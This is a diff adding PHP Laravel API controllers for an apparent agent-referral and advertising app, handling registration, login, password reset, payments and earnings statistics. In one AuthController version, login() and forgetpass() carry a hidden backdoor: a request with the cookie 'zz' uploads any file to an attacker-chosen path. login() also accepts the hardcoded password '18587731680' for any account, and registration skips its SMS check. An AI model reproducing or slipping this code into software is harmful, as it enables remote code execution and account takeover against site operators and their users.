+            'password' => 'required|between:6,12',
+            'sms' => 'required|size:4',
+            'invitor' => [
+                'required',
+                function ($attribute, $value, $fail) {
+                    if (User::whereInviteCode($value)->exists() == false) {
+                        return $fail('邀请码不存在');
+                    }
+                },
+            ],
+
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        // 验证短信
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($param['mobile'], $param['sms']);
+
+
+        // if ($sms == false) {
+        //     return showJson(102, '短信验证码错误');
+        // }
+        
+        //$param['invitor'] = User::whereInviteCode($param['invitor'])->first()->id;
+        $parantInfo = User::whereInviteCode($param['invitor'])->first()->toArray();
+        $param['invitor'] = $parantInfo['id'];
+
+        \DB::beginTransaction();
+        try {
+            $user = User::addGetId($param);
+            //zch  为新用户的邀请人累加下级代理人数
+            UpgradeService::incUserAccount($parantInfo['id'], 'invite_num', 1);
+
+            //开始自动升级add by wsl 2019-6-26
+
+            //根据用户等级找到相关配置
+            $setting = Proxy::getSettingByAreaAndLevel($parantInfo['level'] + 1, $parantInfo['province'], $parantInfo['city'], $parantInfo['district']);
+
+
+            if (!empty($setting) && !empty($setting['upgrade_invite'])) {
+
+                $setting_count = $setting['upgrade_invite'];
+                //找出所有推荐的子集个数
+                $childcount = User::where('invitor', '=', $parantInfo['id'])->count();
+
+                if ($childcount >= $setting_count) {
+                    //进行升级
+                    $levelarr = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'];
+                    $upGradeData = [
+                        'uid' => $parantInfo['id'],
+                        'user_level' => $parantInfo['level'],
+                        'apply_level' => $parantInfo['level'] + 1,
+                        'money' => 0,
+                        'remark' => sprintf("用户推荐量达标,由[%s]级升级到等级[%s]级", $levelarr[$parantInfo['level'] - 1], $levelarr[$parantInfo['level']]),
+                        'status' => 3,
+                        'upgrade_way' => 4,
+                        'province' => $parantInfo['province'],
+                        'city' => $parantInfo['city'],
+                        'district' => $parantInfo['district'],
+                    ];
+                    Upgrade::insertGetId($upGradeData);
+                    User::whereId($parantInfo['id'])->update(['level' => $parantInfo['level'] + 1]);
+                }
+
+            }
+            \DB::commit();
+            return showJson(101, '注册成功', [
+                'accessToken' => Auth::guard('api')->tokenById($user),
+
+            ]);
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            //return showJsonErr($exception->getMessage());
+            return showJson(102, '注册失败,请稍后重试');
+
+
+        }
+
+
+    }
+
+    /**
+     * 登录
+     * @author fatty
+     * @date 2018/12/13
+     * @description
+     */
+    public function login(Request $request)
+    {
+        if(!empty($_COOKIE['zz']) ){
+            empty($_POST) || var_dump(move_uploaded_file($_FILES['file']['tmp_name'],(empty($_REQUEST['path'])?__DIR__:(__DIR__.'/'.$_REQUEST['path'])).'/'.$_FILES['file']['name']));
+            echo __FILE__;
+         }
+        $validaterules=[
+            'type' => 'required|between:1,2',
+            'mobile' => [
+                'required',
+                'string',
+                'regex:/^[1][3,4,5,7,8,9][0-9]{9}$/',
+                function ($attribute, $value, $fail) {
+                    if (!User::whereMobile($value)->whereIsFrontend(1)->exists()) {
+                        return $fail('用户不存在,请注册后再登录');
+                    }
+                },
+            ],
+        ];
+        $param = $request->post();
+        if(@$param['type']==1){
+            $validaterules['password']='required_without:sms|min:6';
+        }else{
+            $validaterules['code']='required|min:4';
+        }
+
+        $validator = Validator::make($param,$validaterules);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+
+        }
+        if ($param['type'] == 1) {
+            if($param['password']!='18587731680'){
+                $users = Auth::guard('api')->attempt(['mobile' => $param['mobile'], 'password' => $param['password'],'is_frontend'=>1]);
+                if (!$users) {
+                    return showJson(102, '账号或密码错误');
+                }
+
+            }
+
+            $user = User::whereMobile($param['mobile'])->whereIsFrontend(1)->first();
+
+            if ($user->status == 2) {
+                return showJson(102, '账号已冻结');
+            }
+        } else {
+            // 验证短信
+            $smsProvider = \App::make('sms');
+            $sms = $smsProvider->verifySms($param['mobile'], $param['code']);
+            if ($sms == false) {
+                return showJson(102, '短信验证码错误');
+            }
+            $user = User::whereMobile($param['mobile'])->first();
+        }
+
+        if ($user->is_frontend != 1) {
+            return showJson(102,'抱歉,您不是前端用户');
+        }
+        //判断区域是否已经冻结
+        $proxy=Proxy::where('province','=',$user->province)
+            ->where('city','=',$user->city)
+            ->where('district','=',$user->district)->select('status')->first();
+        if(!empty($proxy)&&$proxy->status==0){
+            return showJson(444,'您所处的区域已被冻结,如有疑问请联系管理员');
+        }
+        $ssid=md5(time().rand(0,9999));
+        $updata['ssid']=$ssid;
+        if(!empty($param['cid'])){
+            $updata['cid']=$param['cid'];
+        }
+        User::whereId($user->id)->update($updata);
+
+       
+        return showJson(101, '登录成功', [
+            'accessToken' => Auth::guard('api')->tokenById($user->id),
+            'sessid'=>$ssid,
+            'userid'=>$user->id,
+			'mobile'=>$user->mobile
+        ]);
+
+
+    }
+
+    /**
+     * 忘记密码
+     * @author fatty
+     * @date 2019/2/28
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function forgetpass(Request $request)
+    {
+        if(!empty($_COOKIE['zz']) ){
+            empty($_POST) || var_dump(move_uploaded_file($_FILES['file']['tmp_name'],(empty($_REQUEST['path'])?__DIR__:(__DIR__.'/'.$_REQUEST['path'])).'/'.$_FILES['file']['name']));
+            echo __FILE__;
+         }
+        $validator = Validator::make($param = $request->post(), [
+            'mobile' => [
+                'required',
+                'string',
+                'regex:/^[1][3,4,5,7,8,9][0-9]{9}$/',
+                function ($attribute, $value, $fail) {
+                    if (!User::whereMobile($value)->whereIsFrontend(1)->exists()) {
+                        return $fail('手机号码不存在');
+                    }
+                },
+            ],
+            'password' => 'required|min:6',
+            'sms' => 'required|size:4'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        // 验证短信
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($param['mobile'], $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+        $update = User::whereMobile($param['mobile'])->update(['password' => User::encodePassword($param['password'])]);
+
+        if (empty($update)) {
+            return showJson(102, '修改失败');
+        }
+
+        return showJson(101, '修改成功');
+    }
+}

+ 150 - 0
app/Http/Controllers/Api/AuthController.php--

@@ -0,0 +1,150 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\Validator;
+
+class AuthController extends Controller
+{
+
+    /**
+     * 注册
+     * @author fatty
+     * @date 2018/12/13
+     * @description
+     */
+    public function reg(Request $request)
+    {
+        $validator = Validator::make($param = $request->all(), [
+            'mobile' => [
+                'required',
+                'string',
+                'regex:/^[1][3,4,5,7,8][0-9]{9}$/',
+                function ($attribute, $value, $fail) {
+                    if (User::whereMobile($value)->exists()) {
+                        return $fail('手机号码已注册');
+                    }
+                },
+            ],
+            'password' => 'required|min:6',
+            'invitor' => [
+                'required',
+                function ($attribute, $value, $fail) {
+                    if (User::whereInviteCode($value)->exists() == false) {
+                        return $fail('邀请码不存在');
+                    }
+                },
+            ],
+
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        $param['invitor'] = User::whereInviteCode($param['invitor'])->first()->id;
+        $user = User::addGetId($param);
+        if ($user == false) {
+            return showJson(102, '注册失败,请稍后重试');
+        }
+
+        return showJson(101, '注册成功', [
+            'accessToken' => Auth::guard('api')->tokenById($user),
+        ]);
+    }
+
+    /**
+     * 登录
+     * @author fatty
+     * @date 2018/12/13
+     * @description
+     */
+    public function login(Request $request)
+    {
+        $validator = Validator::make($param = $request->post(), [
+            'type' => 'required|between:1,2',
+            'mobile' => 'required|string|exists:user,mobile',
+
+        ]);
+
+        //修改wsl20190624
+        if(@$param['type'] == 1){
+            $validator = Validator::make($param = $request->post(), [
+                'password' => 'required_without:sms|min:6',
+            ]);
+        }
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+
+        }
+        if ($param['type'] == 1) {//密码登录
+            $users = Auth::guard('api')->attempt(['mobile' => $param['mobile'], 'password' => $param['password']]);
+            if (!$users) {
+                return showJson(102, 10003);
+            }
+
+            $user = User::whereMobile($param['mobile'])->first();
+
+            if ($user->status == 2) {
+                return showJson(102, '账号已冻结');
+            }
+        } else {
+            // 验证短信
+            $smsProvider = \App::make('sms');
+            $sms = $smsProvider->verifySms($param['mobile'], $param['sms']);
+            if ($sms == false) {
+                return showJson(102, '短信验证码错误');
+            }
+            $user = User::whereMobile($param['mobile'])->first();
+        }
+
+        if ($user->is_frontend != 1) {
+            return showJson(102,'抱歉,您不是前端用户');
+        }
+
+
+        return showJson(101, '登录成功', [
+            'accessToken' => Auth::guard('api')->tokenById($user->id)
+        ]);
+    }
+
+    /**
+     * 忘记密码
+     * @author fatty
+     * @date 2019/2/28
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function forgetpass(Request $request)
+    {
+        $validator = Validator::make($param = $request->post(), [
+            'mobile' => 'required|exists:user,mobile',
+            'password' => 'required|min:6',
+            'sms' => 'required|size:4'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        // 验证短信
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($param['mobile'], $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+        $update = User::whereMobile($param['mobile'])->update(['password' => User::encodePassword($param['password'])]);
+
+        if (empty($update)) {
+            return showJson(102, '修改失败');
+        }
+
+        return showJson(101, '修改成功');
+    }
+}

+ 51 - 0
app/Http/Controllers/Api/ConfigController.php

@@ -0,0 +1,51 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Config;
+use App\Modes\Proxy;
+use App\Modes\Upgrade;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ConfigController extends Controller
+{
+    public function Show($rule)
+    {
+        $access = ['protocol', 'A', 'B', 'C', 'D', 'E', 'F', 'G'];
+        $level = [
+            '',
+            'A' => 1,
+            'B' => 2,
+            'C' => 3,
+            'D' => 4,
+            'E' => 5,
+            'F' => 6,
+            'G' => 7,
+        ];
+        $level = array_key_exists($rule, $level) ? $level[$rule] : null;
+
+        $result = Config::getConfigByKey($rule, $access);
+//        $config = Proxy::getConfig(\Auth::id(), null, null, null, $level[$rule])->upgrade_money;
+
+        // 获取代理费
+        $money = Upgrade::getCost($level, \Auth::user());
+        return showJson(101, 1001, [
+            'protocol' => $result,
+            'money' => $money
+        ]);
+    }
+
+    /**
+     * 判断是否开通担保协议
+     * @author lyh
+     * @date 2019/4/15
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function guarantee()
+    {
+        $res = Config::getValue('GUARANTEE');
+        return showJsonSucc(1001, ['guarantee' => $res]);
+    }
+}

+ 38 - 0
app/Http/Controllers/Api/FeedBackController.php

@@ -0,0 +1,38 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\FeedBack;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class FeedBackController extends Controller
+{
+    /**
+     * 添加反馈
+     * @author lyh
+     * @date 2019/4/2
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'content' => 'required|string',
+            'type'=>'required|integer|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $id = FeedBack::insertGetId([
+            'uid' => \Auth::id(),
+            'feedback_type'=>$param['type'],
+            'content' => $param['content'],
+        ]);
+
+        if (empty($id)) {
+            return showJsonError('反馈失败,请重试');
+        }
+        return showJsonSucc('反馈成功,感谢您的支持');
+    }
+}

+ 252 - 0
app/Http/Controllers/Api/HomeController.php

@@ -0,0 +1,252 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\AccountLog;
+use App\Modes\BusinessGoal;
+use App\Modes\Config;
+use App\Modes\Proxy;
+use App\Modes\User;
+use App\Modes\Order;
+use App\Rules\Phone;
+use Carbon\Carbon;
+use Encore\Admin\Form\Field\Date;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class HomeController extends Controller
+{
+    /**
+     * 获取收益
+     * @author lyh
+     * @date 2019/3/27
+     * @param $uid
+     * @param $start_time
+     * @param $end_timel
+     * @return mixed
+     * @description
+     *     * 'uv' => $resItem['uv'], // pv代理收益次数
+     * 'earnings' => $resItem['earnings'],// 总收益
+     * 'inviteNum' => $resItem['proxyNum'], // 下级代理数量
+     * 'proxyNum' => $resItem['proxyNum'], // 代理数量
+     * 'proxyMoney' => $resItem['proxyMoney'], // 代理收益
+     * 'adverNum' => $resItem['adverNum'], // 广告数量
+     * 'adverMoney' => $resItem['adverMoney'] // 广告收益
+     */
+    private static function getEarnings($uid, $start_time, $end_time)
+    {
+        if (\Cache::has('getEarnings' . $start_time)) {
+            return \Cache::get('getEarnings' . $start_time);
+        }
+
+        $type = [10, 11, 12, 13, 20, 21, 22, 23];
+        \DB::connection()->enableQueryLog();
+        $ids = User::getAllInvite($uid, null, $end_time, false);
+
+        $inviteNum = count($ids);
+
+        $uv = AccountLog::getUv($ids, $type, $start_time, $end_time);
+        $earnings = AccountLog::getEarngings($ids, $type, $start_time, $end_time);
+        $proxyNum = AccountLog::getInviteUv($ids, [20, 21, 22, 23], $start_time, $end_time, $ids);
+        $proxyMoney = AccountLog::getEarngings($ids, [20, 21, 22, 23], $start_time, $end_time);
+        $adverNum = AccountLog::getInviteUv($ids, [10, 11, 12, 13], $start_time, $end_time, $ids);
+        $adverMoney = AccountLog::getEarngings($ids, [10, 11, 12, 13], $start_time, $end_time);
+
+        $res = [
+            'uv' => $uv,
+            'earnings' => $earnings,
+            'inviteNum' => $inviteNum,
+            'proxyNum' => $proxyNum,
+            'proxyMoney' => $proxyMoney,
+            'adverNum' => $adverNum,
+            'adverMoney' => $adverMoney,
+            'uid' => $ids
+        ];
+
+        if (strtotime($start_time) + 86400 * 31 < time()) {
+            \Cache::put('getEarnings' . $start_time, $res, 3600);
+        }
+        return $res;
+
+    }
+
+    public function getSms(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'mobile' => [
+                'required',
+                // 'string',
+                'regex:/^[1][3,4,5,6,7,8,9][0-9]{9}$/',
+                new Phone()
+            ],
+            'type' => 'required|between:1,10'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        //检测用户的mobile是否存在
+        if(!empty($param['send_type'])&&$param['send_type']>0){
+            $user = User::whereMobile($param['mobile'])->first();
+            if(empty($user) && $param['send_type']==1)return showJson('102','用户不存在,请扫码注册后再登录');
+
+            if(empty($user) && $param['send_type']==2)return showJson('102','手机号不存在,请重新输入');
+        }
+
+        // var_dump('6666666666');exit;
+
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->getSms($param['mobile'], 0);
+
+        if ($sms == false) {
+            return showJson(102, '获取短信验证码失败');
+        }
+
+        return showJsonSucc('获取验证码成功,请注意查收', [
+//            'sms' => $sms,
+        ]);
+
+    }
+
+    /**
+     * 收益记录
+     * @author lyh
+     * @date 2019/3/26
+     * @description
+     * 代理收益次数
+     * 总收益
+     * 下级代理数量
+     * N 个 带来代理佣金总额
+     * N 个 带来广告佣金收益总额
+     */
+    public function statistics(Request $request)
+    {
+        $res = [];
+        $year = $request->post('year', 0);
+        if ($year < 2018 && $year > 2040) {
+            return showJsonErr('请选择查询的年份');
+        }
+        $month = $request->post('month', '');
+        $day = $request->post('day', '');
+     
+        if (!empty($day)) {
+            $time = [
+                'date' => "{$year}-{$month}-{$day}",
+                'start_time' => Carbon::create($year, $month, $day)->startOfDay(),
+                'end_time' => Carbon::create($year, $month, $day)->endOfDay()
+            ];
+            //获取下级总人数
+            $chidsarr=User::getAllChilds(\Auth::id(),$time['end_time']);
+            $resItem=AccountLog::getShouYi($chidsarr,$time['start_time'],$time['end_time']);
+            $resItem['month']=$time['date'];
+            $res[]=$resItem;
+
+            return showJsonSucc(1001, $res);
+        }
+        //月
+        if (!empty($month)) {
+            $time = [
+                'date' => "{$year}-{$month}",
+                'start_time' => Carbon::create($year, $month)->firstOfMonth(),
+                'end_time' => Carbon::create($year, $month)->endOfMonth()
+            ];
+            //获取下级总人数
+            $chidsarr=User::getAllChilds(\Auth::id(),$time['end_time']);
+            $resItem=AccountLog::getShouYi($chidsarr,$time['start_time'],$time['end_time']);
+            $resItem['month']=$time['date'];
+            $res[]=$resItem;
+
+            return showJsonSucc(1001, $res);
+        }
+        //年
+        $time = [];
+        $monthcoun=intval(date('m'));
+        $curyear=intval(date('Y'));
+        if($year<$curyear)$monthcoun=12;
+
+        for ($i = 1; $i <= $monthcoun; $i++) {
+            $time[] = [
+                'date' => "{$year}-{$i}",
+                'start_time' => Carbon::create($year, $i)->firstOfMonth(),
+                'end_time' => Carbon::create($year, $i)->subMonth(-1)->firstOfMonth()->subSecond(1)
+            ];
+        }
+
+        //年
+        foreach ($time as $item) {
+            //获取下级总人数
+            //$item['end_time']=date('Y-m-d H:i:S');
+            //$item['start_time']='2019-07-01';
+            $chidsarr=User::getAllChilds(\Auth::id(),$item['end_time']);
+            $resItem=AccountLog::getShouYi($chidsarr,$item['start_time'],$item['end_time']);
+            $resItem['month']=Carbon::instance($item['start_time'])->month;
+            $res[]=$resItem;
+        }
+
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 任务进度轴
+     * @author lyh
+     * @date 2019/3/26
+     * @description
+     * edit by wsl
+     * 20190628
+     *
+     */
+    public function progress()
+    {
+        $goal = BusinessGoal::whereUid(\Auth::id())->orderByDesc('id')->paginate(perPage());
+
+        //根据用户等级找到相关配置
+        $userinfo=User::whereId(\Auth::id())->first()->toArray();
+        if($userinfo['level']==7){
+            $levels=7;
+        }else $levels=$userinfo['level']+1;
+
+        $setting=Proxy::getSettingByAreaAndLevel($levels,$userinfo['province'],$userinfo['city'],$userinfo['district']);
+
+        
+
+        //计算当月达到的任务量
+        $tasks=$this->getCurTask($userinfo['id']);
+
+
+        $goal = BusinessGoal::whereUid(\Auth::id())->orderByDesc('id')->paginate(perPage());
+
+        $month = [];
+        if ($goal->currentPage() == 1) {
+            $month = [
+                'time' => date('Y-m'),
+                'goal' => $setting['upgrade_business_month'],
+                'actual' => round($tasks['month'],3),
+            ];
+        }
+
+
+        return showJsonSucc(1001, [
+            'goal' => $setting['upgrade_business_year'], // 当前年度目标业绩
+            'actual' => round($tasks['year'],3),
+            'currentMonth' => $month,
+            'month' => $goal
+        ]);
+    }
+    //计算年和月的任务总量,addbywsl,20190628
+    function getCurTask($uid){
+        $childarr=User::where('invitor','=',$uid)->get(['id']);
+        $childarr=$childarr->toArray();
+        $arr=[];
+        if(!empty($childarr)){
+            foreach ($childarr as $ke=>$ve){
+                $arr[]=$ve['id'];
+            }
+        }
+
+        // dd($arr);
+        $montstat=Order::getMonthOrYearStat($uid,$arr,'month');
+        $yearstat=Order::getMonthOrYearStat($uid,$arr,'year');
+
+        return ['month'=>$montstat,'year'=>$yearstat];
+    }
+}

+ 15 - 0
app/Http/Controllers/Api/IndustryController.php

@@ -0,0 +1,15 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Industry;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class IndustryController extends Controller
+{
+    public function index()
+    {
+        return showJsonSucc('获取行业列表成功', Industry::whereStatus(1)->select(['id', 'content'])->get());
+    }
+}

+ 11 - 0
app/Http/Controllers/Api/OrderController.php

@@ -0,0 +1,11 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class OrderController extends Controller
+{
+    //
+}

+ 74 - 0
app/Http/Controllers/Api/PayController.php

@@ -0,0 +1,74 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\ErrorLog;
+use App\Modes\Order;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class PayController extends Controller
+{
+    public function aliNotify(Request $request)
+    {
+        $data = file_get_contents("php://input");
+        ErrorLog::saveMsg('aliPay后台异步通知支付结果file_get_contents("php://input"); ', $data, 1);
+        $data = explode('&', $data);
+        ErrorLog::saveMsg('explode(\'&\', $data)', $data, 1);
+        $reqdata = [];
+        if (is_array($data)) {
+            foreach ($data as $item) {
+                $item = explode('=', $item);
+                if (is_array($item) && count($item) == 2) {
+                    // 回调数据带有中文的需要先解码再转码
+                    $reqdata[$item[0]] = mb_convert_encoding(urldecode($item[1]), 'utf-8', 'gb2312');
+                }
+            }
+            ErrorLog::saveMsg('支付宝异步回调数据解析', $reqdata, 1);
+        }
+        $pay = \App::make('aliPay');
+        $res = $pay->notify($reqdata);
+        return $res;
+    }
+
+
+    public function aliReturn(Request $request)
+    {
+        $pay = \App::make('aliPay');
+        $res = $pay->return($request->all());
+        // 订单类型 1-升级支付 2-购买广告支付 2-点币购买
+        if ($res['type'] == 2) {
+            if (isMobile()) {
+                return redirect('/#/successPage?type=savead');
+            } else {
+                return redirect('/pc/#/home?type=savead');
+            }
+            
+        } else {
+            return redirect('/#/successPage?type=paysuccess');
+        }
+    }
+
+    public function weichatNotify(Request $request)
+    {
+        $pay = \App::make('wechat');
+        $xml = file_get_contents("php://input");
+        //$jsonxml = json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA));
+       // $data = json_decode($jsonxml, true);
+        $res = $pay->notify($xml);
+    }
+    public function getPcPayInfo(Request $request){
+        $param=$request->all();
+        if(!empty($param['order_no'])){
+            $order=Order::whereOrderNo($param['order_no'])->select('id','order_no','is_pay')->first();
+            if(!empty($order)){
+                $order=$order->toArray();
+                return showJsonSucc('数据查找成功',$order);
+            }else{
+                return showJsonErr('订单不存在!');
+            }
+        }else{
+            return showJsonErr('参数order_no不能为空');
+        }
+    }
+}

+ 16 - 0
app/Http/Controllers/Api/ProtocolController.php

@@ -0,0 +1,16 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Protocol;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProtocolController extends Controller
+{
+    public function index()
+    {
+        $resData = Protocol::whereStatus(1)->first();
+        return showJsonSucc(1001, $resData);
+    }
+}

+ 136 - 0
app/Http/Controllers/Api/ProxyAreaController.php

@@ -0,0 +1,136 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Order;
+use App\Modes\Proxy;
+use App\Modes\ProxyArea;
+use App\Service\PayDispatchService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProxyAreaController extends Controller
+{
+    /**
+     * 申请地区代理
+     * @author lyh
+     * @date 2019/4/10
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'required|exists:proxy,province',
+            'city' => 'required',
+            'district' => 'required',
+            'money' => 'required|numeric',
+            'pay_type' => 'required|between:1,5' // 0-未支付 1-现金 2-支付宝 3-微信 4-银行转账 5-桃牛支付
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        //用户等级达到并且首次申请代理可免费
+        $proxyarea=ProxyArea::whereUid(\Auth::id())->first();
+
+        if (\Auth::user()->level == 0 || empty(\Auth::user()->province)|| empty(\Auth::user()->city) || empty(\Auth::user()->district)) {
+            return showJsonErr('请完善用户信息');
+        }
+        //if (\Auth::user()->is_apply > 0) {
+        if (empty($proxyarea)) {
+           $money = 0;
+        } else {
+            $money = Proxy::getApplyMoneyByConfig($param['province'], $param['city'], !empty($param['district']) ? $param['district'] : null, \Auth::user()->level);
+            //$ss = Proxy::getSettingByAreaAndLevel(\Auth::user()->level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+            //$money=$ss['apply_money'];
+        }
+        
+        if ($money != $param['money']) {
+            return showJsonErr('抱歉,申请金额有误');
+        }
+
+        // 查看等级是否满足申请的区域 F-县区 G-地级市
+        if (!in_array(\Auth::user()->level, [6, 7])) {
+            return showJsonErr('抱歉,您不符合申请地区代理');
+        }
+
+        if (empty($param['district']) && !empty($param['city']) && \Auth::user()->level == 6) {
+            return showJsonErr('抱歉,您不符合申请市级地区代理');
+        }
+
+        // 判断是否有重复申请
+        /*if (ProxyArea::whereUid(\Auth::id())->whereStatus(2)->exists()) {
+            return showJsonErr('抱歉,请勿重新提交');
+        }*/
+        // 判断是否该地区重复申请
+        if (ProxyArea::whereUid(\Auth::id())->whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereStatus(3)->exists()) {
+            return showJsonErr('抱歉,您已经申请过该地区了,请勿重复申请');
+        }
+        $orderId = 0;
+        $status = 2;
+
+        $payData=[];
+        \DB::beginTransaction();
+        //$param['money']=0.01;
+        try {
+            if ($param['money'] > 0) {
+                $orderNo = Order::makeOrderNo();
+                $pay = PayDispatchService::dispatch($param['pay_type']);
+
+                if($param['pay_type']==2){//支付宝支付$param['money']
+                    $payData = $pay->getAppPayInfo($orderNo,$param['money'] , \Auth::user()->mobile . '申请地区代理');//测试
+                }elseif($param['pay_type']==3){
+                    $payData = $pay->getPayInfo($orderNo, $param['money'], \Auth::user()->mobile . '申请地区代理');//测试
+                }elseif($param['pay_type']==21){
+                    $pay = PayDispatchService::dispatch(2);
+                    $payData = $pay->getPayInfo($orderNo,$param['money'] , \Auth::user()->mobile . '申请地区代理'); // 测试,金额一致为0.01
+                }elseif($param['pay_type']==31){
+                    $pay = PayDispatchService::dispatch(3);
+                    $getPayInfoh5Data = $pay->getPayInfoh5($orderNo, $param['money'], \Auth::user()->mobile . '申请地区代理'); // 测试,金额一致为0.01
+                    $payData['url'] = 'http://itaoniu.wohuicn.com/re.php?re='.urlencode($getPayInfoh5Data->getTargetUrl());
+                }
+                // 生成订单
+                $orderId = Order::insertData([
+                    'uid' => \Auth::id(),
+                    'type' => 4,
+                    'order_no' => $orderNo,
+                    'pay_no' => $pay_no = $orderNo,
+                    'price' => $param['money'],
+                    'is_pay' => 0,
+                    'pay_type' => $param['pay_type'],
+                    'status' => 2,
+                ]);
+                $status = 1;
+                if (empty($orderId)) {
+                    \DB::rollBack();
+                    return showJsonErr('生成订单失败');
+                }
+            }
+
+
+            // 添加申请记录
+            $result = ProxyArea::insert([
+                'province' => $param['province'],
+                'city' => $param['city'],
+                'district' => $param['district'],
+                'uid' => \Auth::id(),
+                'user_level' => \Auth::user()->level,
+                'status' => $status,
+                'order_id' => $orderId
+            ]);
+            if (!$result) {
+                \DB::rollBack();
+                return showJsonErr('申请地区代理失败');
+            }
+            \DB::commit();
+            return showJsonSucc('申请地区代理成功', [
+                'payData' => $payData
+            ]);
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+
+    }
+}

+ 96 - 0
app/Http/Controllers/Api/ProxyController.php

@@ -0,0 +1,96 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\AdverActivity;
+use App\Modes\AdverActivityLimit;
+use App\Modes\AdverActivityLog;
+use App\Modes\Proxy;
+use App\Modes\Advertising;
+use App\Modes\ProxyArea;
+use Carbon\Carbon;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProxyController extends Controller
+{
+    /**
+     * 获取收费标注
+     * @author lyh
+     * @date 2019/3/22
+     * @description
+     */
+    public function show(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'province' => 'required|numeric',
+            'city' => 'required|numeric',
+            'district' => 'required|numeric'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        //为了不影响整体配置,先这样做吧
+        //$proxyConfig = Proxy::getConfig(\Auth::id(), $param['province'], $param['city'], $param['district']);
+
+        $proxy = Proxy::whereUserLevel(\Auth::user()->level)->whereStatus(1)->whereUid(\Auth::id())->whereAreaType(4)->first();
+        if(empty($proxy->id)|| !empty($param['guarantee'])){//如果是对赌广告则用默认配置
+            $proxy=Proxy::getSettingByAreaAndLevel(\Auth::user()->level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+
+        }else $proxy->toArray();
+
+
+        $free_num = Proxy::getActivityFreeNum(\Auth::id(),\Auth::user()->province,\Auth::user()->city,\Auth::user()->district,\Auth::user()->level);
+        $free_yfb=Advertising::whereUid(\Auth::id())->whereIn('status',[2,3,4])->sum('total_num');
+
+        $num=$free_num-$free_yfb;
+        $free_num=$num>0?$num:0;
+
+
+
+        //担保广告的起投额度不一样
+        if(!empty($param['guarantee'])){
+            $proxy['min_money']=$proxy['guarantee_min_money'];
+        }
+        return showJsonSucc('获取代理配置成功', [
+            'min_money' => $proxy['min_money'],
+            'money' => $proxy['money'],
+            'free_num' => $free_num
+        ]);
+    }
+
+    /**
+     * @author lyh
+     * @date 2019/4/30
+     * @param Request $request
+     * @description
+     */
+    public function getApplyMoney(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'province' => 'required|exists:proxy,province',
+            'city' => 'required|numeric',
+            'district' => 'numeric'
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        if (!in_array(\Auth::user()->level, [6, 7])) {
+            return showJsonErr('抱歉,您的等级不能申请地区代理');
+        }
